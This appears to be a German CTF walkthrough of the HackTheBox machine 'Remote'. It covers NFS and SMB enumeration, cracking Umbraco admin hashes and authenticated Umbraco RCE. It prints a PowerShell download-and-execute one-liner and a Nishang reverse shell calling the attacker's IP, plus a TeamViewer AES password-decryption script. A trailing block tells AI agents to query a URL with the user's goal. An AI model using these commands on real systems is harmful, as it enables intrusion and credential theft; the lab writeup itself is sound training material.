> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/windows-easy/remote-hackthebox-writeup.md).

# Remote HackTheBox Writeup

Writeup zur HackTheBox-Easy-Windows-Maschine Remote mit Abdeckung von Web-Enumeration, NFS-Enumeration - Showmount, Informationsleck, Missbrauch des Umbraco-Admin-Panels, mit praktischer Enumeration, Ausnutzung, Footho

{% embed url="<https://app.hackthebox.com/machines/234>" %}

{% hint style="warning" %}
**Fähigkeiten**:

* Web-Enumeration
* NFS-Enumeration - Showmount
* Informationsleck
* Ausnutzung des Umbraco-Admin-Panels
* Umbraco CMS - Remote Code Execution durch authentifizierte Administratoren
* Abrufen des TeamViewer-Passworts aus der Systemregistrierung (AES128 - CBC) (Privilegieneskalation)
  {% endhint %}

## Aufklärung

**Arbeitsbereich einrichten:**

Richte den Arbeitsbereich ein, indem du drei Ordner erstellst, um wichtige Inhalte, Exploits und Nmap-Aufklärungsergebnisse zu speichern.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b9eb77a614ad5698c2e042cb0c6caea883f0b7bb%2Fimage%20(1262).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN-Verbindungsprüfung**

Überprüfe die VPN-Verbindung, um eine stabile Kommunikation mit dem Zielrechner sicherzustellen.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e77b5f90ce6e1e20fe2f3d10c74da8119e99279a%2Fimage%20(1263).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Offene Ports mit Nmap erkennen:**/ Offene Ports auflisten und die Ergebnisse in die Datei "allPorts" im Nmap-Verzeichnis exportieren:

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.180 -oG allPorts
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7cf1a734c3813af420126c6ddf017440e9b502ba%2Fimage%20(1264).png?alt=media" alt=""><figcaption></figcaption></figure>

**Analyse offener Ports mit extractport:**/ Mithilfe der Funktion extractport offene Ports in kompakter Form anzeigen und in die Zwischenablage kopieren.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-46b6bb56d1a8757c7a5426b11e571ea31d39c5db%2Fimage%20(1265).png?alt=media" alt=""><figcaption></figcaption></figure>

**Port- und Versionsscan mit Nmap:**/ Nmap verwenden, um Service-Versionen zu scannen und die Ausgabe in der Datei "targeted" zu speichern:

```bash
nmap -sCV -p21,80,111,135,139,445,2049,5985,47001,49664,49665,49666,49667,49678,49679,49680 10.10.10.180 -oN targeted
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7de1110b8c04ddf485f4b65dcb265bfad0dfaf05%2Fimage%20(1266).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-029aa827ce26fcf55e80e571620ff501d81b7711%2Fimage%20(1267).png?alt=media" alt=""><figcaption></figcaption></figure>

Um Domainnamen über DNS in IP-Adressen aufzulösen, wird der mit der IP-Adresse verknüpfte Domainname in die `/etc/hosts` Datei

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2ff079392de9e8d821bbca0dc3c61e505997b5c6%2Fimage%20(1269).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### Web (Port 80):

```bash
whatweb http://remote.htb
```

<div align="center" data-full-width="true"><figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-efcf7874fba151e70cf8625204c695bf7ed26d00%2Fimage%20(1274).png?alt=media" alt=""><figcaption></figcaption></figure></div>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5fc75aac9b6174219d27b7c32e6d87cc3ba0a6ac%2Fimage%20(1270).png?alt=media" alt=""><figcaption></figcaption></figure>

### SMB - Port 445

Liste **SMB:**

```bash
crackmapexec smb 10.10.10.180
```

<div data-full-width="true"><figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bb5a2740fe0b1db4532881c6c81084660cf29a0c%2Fimage%20(1271).png?alt=media" alt=""><figcaption></figcaption></figure></div>

### **SMB-Client (Null-Session):**

```bash
smbclient -L 10.10.10.180 -N
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f6c66627e0db7459b25b2c63779994cae7e9c157%2Fimage%20(1272).png?alt=media" alt=""><figcaption></figcaption></figure>

### FTP (21) anonym

Wir können uns per FTP mit dem anonymen Benutzer verbinden, aber wir können weder Dateien auflisten noch hinzufügen.

```bash
ftp 10.10.10.180

put test.txt
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-99d2b1c2173acfe5dfd52c0262923b39a7e23b37%2Fimage%20(1273).png?alt=media" alt=""><figcaption></figcaption></figure>

## NFS-Dienst (Port 2049)

{% hint style="info" %}
Das Network File System (NFS) ist ein Protokoll auf Anwendungsebene des OSI-Modells. Es wird verwendet, um Dateisysteme in einem lokalen Netzwerk zu verteilen und verschiedenen verbundenen Systemen den Zugriff auf entfernte Dateien zu ermöglichen, als wären sie lokal.
{% endhint %}

Um die Dateien mit `mount`:

```bash
showmount -e 10.10.10.180
```

Wir sehen ein `/site_backups` das von allen gesehen werden kann.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3013ccfa8ce6a51ae041c36ba54599a3c9c4377d%2Fimage%20(1275).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

Um diese Datei einzubinden, müssen Sie ein Verzeichnis erstellen und es auf unserem Rechner wie folgt einhängen:

```bash
mkdir /mnt/mounted_files

mount -t nfs 10.10.10.180:/site_backups /mnt/mounted_files
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d3a0b12cd5a2e1bb19524f08a2de43fbc8ee96b3%2Fimage%20(1276).png?alt=media" alt=""><figcaption></figcaption></figure>

Mit `tree`, werden wir alle Ordner im Baum auflisten, um uns einen Überblick zu verschaffen:

```
tree -L 2
```

Wir sehen ein `.config` Konfiguration und `sdf` Ordner aus der Umbraco-Datenbank (einem CMS) von Port 80.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d15f7a5e695cdb9ff15972b563fbc06db4593708%2Fimage%20(1278).png?alt=media" alt=""><figcaption></figcaption></figure>

Das `.conf` Die Datei enthält nichts Interessantes, und die `umbraco.sdf` ist eine Binärdatei.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-22c1ff968b7c2ee0c6041d3797c74d133384b944%2Fimage%20(1279).png?alt=media" alt=""><figcaption></figcaption></figure>

Wir werden `strings` verwenden, um die sichtbaren Zeichen anzuzeigen und sie für eine detaillierte Analyse in unserem Verzeichnis abzulegen:

```bash
strings Umbraco.sdf > /home/jordan/Desktop/htb/remote/content/output
```

Wir finden "admin"-Passwörter und einen Benutzer "smith".

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1056720a69f7d25bd03de7388a145be0c72ee493%2Fimage%20(1281).png?alt=media" alt=""><figcaption></figcaption></figure>

### Passwortknacken:

Admin (Hash): `b8be16afba8c314ad33d812f22a04991b90e2aaa`

{% embed url="<https://crackstation.net/>" %}

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3fd715af91b9c490b397e793de31930e9b7b5a09%2Fimage%20(1282).png?alt=media" alt=""><figcaption></figcaption></figure>

Admin: `baconandcheese`

#### Da SMB exponiert ist, verwenden Sie CrackMapExec zur Authentifizierung und zur Überprüfung des Zugriffs

```bash
crackmapexec smb 10.10.10.180 -u 'smith' -p 'baconandcheese'
crackmapexec smb 10.10.10.180 -u 'administrator' -p 'baconandcheese'
```

#### keine Wirkung

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5dabd6349cdd6766e470751ab3fd107c4cfaa356%2F%7B9A568C00-E4DD-4EBF-B476-5DF9D0C1C44A%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

## Schwachstelle RCE (Umbraco CMS)

Wir finden ein Administrationspanel und versuchen die Authentifizierung des Admin-Benutzers:

`admin@htb.local:baconandcheese`

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-22e4c3037bbc2ea43e9427f33176d04d20f14bec%2F%7B382433B0-312E-419C-A5C0-176F5F8BF31F%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Wir haben Zugriff.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0695a07f5d3034450976414deb97ff9e30b6e41c%2Fimage%20(1283).png?alt=media" alt=""><figcaption></figcaption></figure>

Wir werden suchen `Searchsploit` nach den Schwachstellen dieses CMS und finden ein NCE-Skript für Umbraco.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4861f5edf285f8ed06657d0527b9dd92c4af4c1b%2Fimage%20(1284).png?alt=media" alt=""><figcaption></figcaption></figure>

`searchsploit -m aspx/webapps/46153.py`

Wir werden die Login-, Passwort- und Host-Einstellungen im Skript ändern.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-66f812a30c825a01f92d3bad53550e2471cfb4de%2Fimage%20(1288).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Konnektivität mit ping prüfen:**/ Wir werden diesen Befehl auf dem Server ausführen, und wir lauschen mit tcpdump

```bash
/c ping 10.10.14.6

tcpdump -i tun0 icmp
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-29956d5cf155c3ffdbf55eeb11db81f4c92b6b63%2Fimage%20(1290).png?alt=media" alt=""><figcaption></figcaption></figure>

Sobald wir sehen, dass wir Befehle ausführen können, werden wir das `PS.ps1` Skript auf unseren Rechner herunterladen.

{% embed url="<https://raw.githubusercontent.com/samratashok/nishang/refs/heads/master/Shells/Invoke-PowerShellTcp.ps1>" %}

Am Ende des Skripts fügen wir die folgende Zeile hinzu:

```bash
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.6 -Port 4444
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c334d136657545563678f55753a2341b710a2d44%2Fimage%20(1291).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

Wir werden einen Webserver mit dem `PS.ps1` Skript erstellen:

```bash
python3 -m http.server 80
```

Dann werden wir den Befehl so ändern, dass er auf unseren Webserver verweist:

{% code fullWidth="true" %}

```
/c powershell IEX(New-Object Net.WebClient).downloadString(/'http://10.10.14.6/PS.ps1/')
```

{% endcode %}

Schließlich lauschen wir auf Port 4444:

```bash
rlwrap nc -nlvp 4444
```

<div data-full-width="true"><figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b3fd51dbd5bf6ae4f920c68f20579e60c91d281f%2Fimage%20(1292).png?alt=media" alt=""><figcaption></figcaption></figure></div>

Zugriff auf `user.txt` Datei und feststellen, dass TeamViewer installiert ist

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2495988c926b68ba82fa48f54642d952030b8ff3%2Fimage%20(1293).png?alt=media" alt=""><figcaption></figcaption></figure>

## Privilegieneskalation:

Wenn Sie sich die laufenden Tasks ansehen, können Sie TeamViewer Version 7 sehen.

```powershell
tasklist /svc
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3ac905888e45a0e531118380c96ee7441adad4c7%2Fimage%20(1255).png?alt=media" alt=""><figcaption></figcaption></figure>

Bei der Suche in den Metasploit-Skripten finden wir eines, das das TeamViewer-Passwort auslesen kann:

```powershell
locate teamviewer | grep metasploit
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6577ee0c3a024fc9d67c3f0b25dcbbd77b5816b0%2Fimage%20(1256).png?alt=media" alt=""><figcaption></figcaption></figure>

Bei der Analyse des Skripts müssen Sie zunächst den Schlüssel (je nach Version) aus der Registry abrufen:

`HKLM/SOFTWARE/WOW6432Node/TeamViewer/Version7', 'Version`

Als Nächstes sollten die Sicherheitseigenschaften untersucht werden, insbesondere das AES-Passwort:

```powershell
cd HKLM:SOFTWARE/WOW6432Node/TeamViewer//Version7

(Get-ItemProperty .).SecurityPasswordAES
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-69a735ebeb72f9e681e299b4035dcb194e3e4832%2Fimage%20(1257).png?alt=media" alt=""><figcaption></figcaption></figure>

Fügen Sie die folgenden Bytes in `ciphertext`:

`255,155,28,115,214,107,206,49,172,65,62,174,19,27,70,79,88,47,108,226,209,225,243,218,126,141,55,107,38,57,78,91`

### Python-Automatisierungsskript:

Hier ist das Skript, das den gesamten Prozess automatisiert:

```python
from itertools import product
from Crypto.Cipher import AES 
import Crypto.Cipher.AES

IV = b"/x01/x00/x01/x00/x67/x24/x4F/x43/x6E/x67/x62/xF2/x5E/xA8/xD7/x04"
key = b"/x06/x02/x00/x00/x00/xa4/x00/x00/x52/x53/x41/x31/x00/x04/x00/x00"


decipher = AES.new(key,AES.MODE_CBC,IV)
ciphertext = bytes([255,155,28,115,214,107,206,49,172,65,62,174,19,27,70,79,88,47,108,226,209,225,243,218,126,141,55,107,38,57,78,91])


plaintext = decipher.decrypt(ciphertext).decode()
print(plaintext)
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0e5bfb9ed51c96619042331386a7f15a0b76af2f%2Fimage%20(1258).png?alt=media" alt=""><figcaption></figcaption></figure>

Das Passwort ist `!R3m0te!`.

Wir werden mit CrackMapExec prüfen, ob das Passwort für den Benutzer korrekt ist `Administrator`:

```bash
crackmapexec smb 10.10.10.180 -u 'Administrator' -p '!R3m0te!'
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e8533576997d311288c461c31dacc668ac6ce10f%2Fimage%20(1259).png?alt=media" alt=""><figcaption></figcaption></figure>

Wir verbinden uns mit Evil-WinRM, da der entfernte Windows-Verwaltungsdienst auf Port 5985 aktiv ist:

<pre class="language-bash"><code class="lang-bash"><strong>evil-winrm -i 10.10.10.180 -u 'Administrator' -p '!R3m0te!'
</strong></code></pre>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ae1f3a6bf95f3b368137fa0996381b6dd29dc8f5%2Fimage%20(1260).png?alt=media" alt=""><figcaption></figcaption></figure>

### Root-Flag zum Schluss :)

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-27e43b784ae306b73d668a712ced88bacbc13dfd%2Fimage%20(1261).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fbc44f23ca7f30bd5e77ffa2d7d90304d0de1ef0%2F%7B39DC4A55-52D4-4DB7-B206-C48C813FBAE9%7D.png?alt=media" alt="" width="529"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/windows-easy/remote-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
